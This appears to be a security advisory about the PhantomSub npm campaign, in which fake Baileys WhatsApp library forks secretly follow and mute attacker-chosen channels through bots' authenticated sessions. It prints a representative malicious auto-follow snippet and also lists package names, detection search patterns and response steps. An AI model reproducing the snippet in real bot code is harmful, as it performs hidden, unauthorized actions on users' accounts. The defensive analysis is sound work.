high

CVE

Not assigned

CWE

CWE-506, CWE-912

Affected Surface

  • Node.js applications and WhatsApp bots that installed unofficial forks of `@whiskeysockets/baileys` or related `libsignal` impersonators from npm
  • Operators whose bots opened an authenticated WhatsApp session while a malicious Baileys fork was loaded
  • Package inventories, private mirrors, and lockfiles that still resolve to named campaign packages or versions from the mid-October advisory set

Update, 27 October 2026: On 26 and 27 October 2026, static analysis submitted by CyberXYZ to the OpenSSF malicious-packages repository (PR #1666) documented 23 additional PhantomSub Baileys forks on npm, all 23 of which remained live on the npm registry when checked on 27 October (@alannxds/baileys@6.2.11, @axo_cuy/baileyss@1.0.0 / 1.0.1, @bellaxchan/bailtech@1.1.0, @bellaxchan/eleventech@0.0.8, @bellaxchan/sixtech@1.1.5, @bellaxchan/techxatz@0.1.2, @denzz221/baileys@2.0.0..8.1.7, @dyllxnn/baileys@1.0.0, @lekzox/baileys@0.0.1, @monze1239/baileys@1.0.0 / 1.0.1, @raffnotdev/baileys@1.0.0, @sakataa/baileys@1.0.0, @wanzforme/bails@1.0.0 / 2.0.0, @zaxius/baileys@1.0.1, @zyrennofficiall/baileys@5.1.0..5.5.0, aemeath-baileys@1.1.13, canta-baileys@1.1.13, ichigokurosaki-baileys@1.0.0, kevinx-baileys@1.2.0, lunaaa-baileys@1.1.0..9.0.23, ndraawzz-baileys@1.5.0, ruby-baileys@1.5.17 / 1.5.18, and xzvbailss@1.0.0, most accompanied by npm 0.0.0-stage placeholders). Among the newly analyzed forks, canta-baileys, lunaaa-baileys, and aemeath-baileys pair the w:mex FOLLOW query with a MUTE query to hide the subscription in the victim’s client, and @zyrennofficiall/baileys documents one visible update-channel follow in its README while hiding a second, base64-encoded channel follow inside lib/Socket/newsletter.js. Conversely, reviewers withdrew @nyzzpedia/baileys (which documents its auto-follow and honors an opt-out) and whalibmob (PR #1670) after confirming they did not perform covert channel subscriptions.

The most useful supply-chain story from the last three days is not another preinstall stealer. It is the opposite. The PhantomSub campaign keeps publishing or reclassifying Baileys forks that look like ordinary WhatsApp bot dependencies, then waits for the bot to do the one thing it was installed for: open a real WhatsApp session.

Once that session comes up, the injected code uses the victim’s own authenticated socket to send WhatsApp w:mex FOLLOW queries for attacker-chosen newsletter IDs. That makes this campaign worth tracking separately from the usual npm malware pattern:

npm install
  -> no obvious install-time payload in many samples
  -> application starts normally
  -> bot connects to WhatsApp
  -> malicious fork silently follows one or more channels

The upstream project is not the problem here. Public reporting from OX Security, SafeDep, and pkgwarden all point at renamed forks and impersonators, not a compromise of @whiskeysockets/baileys itself.

Why this campaign matters to AppSec teams

The payload is not “just spam.” It is unauthorized action performed through an application’s authenticated session. If your organization runs customer-support bots, internal workflow bots, or automation tied to a phone number with real trust behind it, that session is an application asset.

The attack also slips past a lot of familiar npm advice:

  1. npm install --ignore-scripts does not help when the payload runs after the bot connects.
  2. quick install-time sandboxing misses packages that arm themselves only at runtime.
  3. a lockfile entry that merely says “baileys-like fork” is not descriptive enough when some versions are armed, some are not, and some use npm aliasing to patch a real install after the fact.

In other words, this is a software-supply-chain problem with a runtime trigger, not a package-manager-lifecycle problem.

What changed in the last three days

Three public changes make this worth a fresh article now:

  1. 18 October: Safeguard published a new campaign synthesis and counted 240 public malware records tied to Baileys forks through 17 October, with 62 packages still serving at least one named malicious version at the time of analysis.
  2. 19 October: more package-level advisories landed for packages including prastzy, prastzyy, rubbydev-crash-baileys, ichigo-baileys, xzvexpzcbailey, xcvrenzcompany, and added versions for @ostyado/baileys.
  3. The current advisory set confirms that the family is still active, not frozen in August or September. The public feed now contains more named records than the 18 October synthesis counted.

That timing matters because defenders often treat a sprawling package family as old news after the first disclosure. The October updates show that triage, re-analysis, and newly surfaced package names are still landing.

The payload shape defenders should look for

Public package analyses keep landing on the same execution boundary: wait for a successful connection, then issue a FOLLOW query against a newsletter JID.

Reduced to the behavior defenders care about, the code path looks like this:

const AUTO_FOLLOW_JIDS = [
  "120363427794786523@newsletter",
  "120363428149518339@newsletter",
  "120363411665168068@newsletter",
];

sock.ev.on("connection.update", async ({ connection }) => {
  if (connection !== "open") return;

  for (const jid of AUTO_FOLLOW_JIDS) {
    await newsletterWMexQuery(jid, QueryIds.FOLLOW);
    await delay(90_000);
  }
});

That snippet is representative, not tied to one single tarball. The concrete variants public reviewers described include:

  • hard-coded ...@newsletter IDs;
  • base64-encoded channel IDs that are decoded at runtime;
  • char-code arrays rebuilt with String.fromCharCode(...);
  • remote follow lists fetched from GitHub-hosted JSON after the bot connects;
  • a second step that mutes the followed channel a few seconds later so the victim sees less evidence on the account.

One of the clearest October examples is prastzy@1.0.0, where the public advisory describes six base64-encoded newsletter IDs decoded into AUTO_FOLLOW_JIDS, then followed 90 seconds apart from package/lib/Socket/newsletter.js. Another is @celestial-community/baileys@1.0.0, which public reviewers say carried three separate follow routines, including a remote anu.json list fetched at runtime and a second path that followed and then muted each channel.

Recently named affected packages

The table below focuses on the package names that picked up fresh or expanded public advisories in the 16 to 19 October window. That is the most actionable scope for defenders who want a current search list rather than the whole campaign history.

PackagePublicly named versionsWhat the public analysis says
@celestial-community/baileys1.0.0Three independent follow paths, including a remote JSON-driven target list and a follow-then-mute branch
@developmentyora/baileyss1.0.0Runtime newsletter follow logic in newsletter.js
xmd-baileysall public versions listed by the advisoryMalware-flagged package, but the public advisory text is generic rather than deeply analyzed
@xatancchii/natabaileysall public versions listed by the advisoryMalware-flagged package with generic public text
@ostyado/baileys2.0.6, 2.0.7, 2.0.8, 2.0.9Part of the 100+ package family; covert FOLLOW logic inside the socket layer
@fluxionii/baileysall public versions listed by the advisoryMalware-flagged package with generic public text
xzbails0.0.3, 0.0.4, 0.0.5Listed as part of the larger family using the same follow mechanism
xzvexpzcbailey1.0.0, 2.0.0, 2.1.0, 2.5.0Listed as part of the larger family using the same follow mechanism
prastzy1.0.0Six base64-encoded newsletter IDs, followed 90 seconds apart
xcvrenzcompany1.0.0, 2.0.0Same maintainer cluster as prastzy, public advisory labels it PhantomSub
prastzyy1.0.0Public advisory labels it PhantomSub
rubbydev-crash-baileys1.0.0Single newsletter JID followed after a short delay
ichigo-baileys1.0.0, 1.0.5Runtime payload described in messages-recv.js
aemath-baileysall public versions listed by the advisoryMalware-flagged package with generic public text
aldi02-baileysall public versions listed by the advisoryMalware-flagged package with generic public text
zeroz-baileysall public versions listed by the advisoryMalware-flagged package with generic public text

That list is intentionally conservative. I am separating named, mid-October advisory scope from the campaign’s longer historical package list.

The campaign is bigger than one day’s package list

There are two different numbers circulating in public reporting, and defenders should not collapse them into one:

  • 101 packages: OX Security’s PhantomSub campaign table of publicly named package members.
  • 240+ public malware records: the broader advisory count compiled by Safeguard from the public malicious-package feed through 17 October.

Those numbers measure different things. The first is a package-membership table. The second is an advisory-record count that can include repeated advisories, expanded version ranges, and packages described by multiple finders.

That distinction matters when you are scoping blast radius. A package name count is useful for deny-lists and lockfile review. An advisory count is useful for understanding campaign churn and how much analyst work is still landing.

Publicly named PhantomSub package set

The list below is the 101-name campaign membership set publicly named by OX Security. It is not the same as the broader 240+ advisory count, but it is the most concrete package inventory published for the campaign family.

ourin-baileys
@nexustechpro/baileys
@badzz88/baileys
@ostyado/baileys
levvleys
@vanzxy/baileys
@yudzxml/baileys
@chatunity/baileys
@kelvdra/baileys
neuralwhatsapp
lilys-baileys
@fyxzpediaa/baileys
noxleyss
@xrelly-stack/bails
alipclutch-baileys
kurobails
eliteprotech-baileys
@xayz/baileys
chromestaff-baileys
@sanzoffc/baileys
@sairidev/baileys-new
cloud-baileys
@nyzzpediaa/baileys-new
ishumdz-bail
nishiki-bail
diezyclutch-baileys
oktz-baileys
my-auto-follow
@kanaraa/baileys
@fer2809fl/baileys
jexkcode
rafael-bails
@ikanngeming/ikannbail
zero-baileys
@zeronexcode/baileys
@sakataoffc/baileys
@astracode/byles-new
@saazkira/baileys
@lekzo/baileys
@revizahoshii/baileys
my-baileys
noverojava
sauruskyah-baileys
@modss/baileys
@fhkryxv/baileys
@japofc/baileys
@lendxntaa/baileys
baileys-xbats
kiyoramarkets
@levvicode/baileys
luoxy-baileys
@mikudeveloper/grace
cortana-md-engine
@bellaxchuu/flowblue
@wanzlonely/bails4u
mikuhostt-baileys
cantarella-baileys
saurustheking
@mivesensei/baileys
@revizahoshii/hoshino
@noxleyss/baileys
@fhkryxv/baileys-new
@fazzcodestudio/wa-web
@ikyyjee/ikyysingle
focashi
@zanta/baileys
shadowmd
@ikyyjee/ikyysinggle
itsmeeaizat-bailey
@bellaxchuu/privatebails
arsya-baileys
xzvexpzcbailey
@mr-supun-fernando/supunmd-bail
yonzofficial
fixo-baileys
@jojoxyz/condemnedforce-baileys
@rixxcodex/baileys
@lendkzn/xntaabail
spencer-baileys
@wenzyx1/bails
yonzoffic-baileys
@xatancchii/velycxbail
@kxa/xbails
monte-md-baileys
albert-anitabaileys
@web2apk/baileys
dilxztech
kiki-baileys
anuaja
@bellaxchuu/xtrxbails
noverojs
sea-baileys
focaleys
@bottino/baileys
saturn-baileys
@bellaxchuu/belbails
@bellaxchuu/teambails
@nyzzpedia/baileys-new
noxxleys
saturn-bail
kasabaileys

That appendix is long, but it is the right shape for this incident. Package-family malware is easy to wave away as “some random forks” unless defenders have concrete strings to search.

Detection and scoping

Start with lockfiles and manifest files. If you only search for the official upstream name, you will miss the point.

rg -n 'baileys|libsignal' \
  package.json package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json

Then search installed dependencies for the runtime-follow signatures that public reviewers repeatedly described:

rg -n 'QueryIds\\.FOLLOW|newsletterWMexQuery|@newsletter|w:mex|connection\\.update|anu\\.json|raw\\.githubusercontent\\.com/.*/anu\\.json' \
  node_modules 2>/dev/null

Alias-based tampering deserves its own pass because some packages do not need to replace @whiskeysockets/baileys directly. They can patch it by shipping a fake libsignal dependency or a fork that looks adjacent enough to pass a quick review.

rg -n 'npm:@.*baileys|npm:@.*libsignal|resolved.*baileys|resolved.*libsignal' \
  package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null

Finally, if the bot actually ran, check the WhatsApp side, not just the filesystem side:

linked devices
  -> unexpected new follows
  -> muted channels you did not choose
  -> bot behavior that only appeared after the session opened

This is one of the rare package incidents where the application account state is part of the forensic record.

Response guidance

The right response depends on how precisely you can identify the package variant.

For the better-documented October samples, public reviewers mainly described unauthorized channel follows and related session abuse, not credential theft or persistence. For those cases, the first containment steps are:

  1. remove the malicious package and pin back to the official upstream dependency;
  2. unlink the affected WhatsApp device session and pair a clean session;
  3. review followed and muted channels on the account;
  4. preserve the lockfile, package tarball, and node_modules copy for later comparison.

For packages that only have generic malware advisories and no public line-by-line analysis yet, be more conservative:

  1. treat the host as higher risk until you confirm what code actually ran;
  2. rebuild the bot environment if you cannot preserve and review the exact package contents;
  3. rotate any secrets reachable by that bot process if the package’s behavior cannot be bounded.

That split is important. The public record does not support claiming that every Baileys-family package was a credential stealer. It does support saying that a large set of packages performed hidden, unauthorized actions on authenticated user sessions, and that some variants were obfuscated enough to justify a cautious host-level response.

What defenders should remember

PhantomSub is useful because it breaks a lazy mental model many teams still have about supply-chain attacks:

malicious package = install hook = obvious compromise

This campaign shows a different pattern:

malicious package = runtime feature abuse inside a trusted application session

That makes it closer to application-level account abuse than to a classic npm infostealer. Defenders who own bot platforms, customer messaging systems, or any other code that opens authenticated third-party sessions should treat that as AppSec territory, not as somebody else’s package-hygiene problem.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References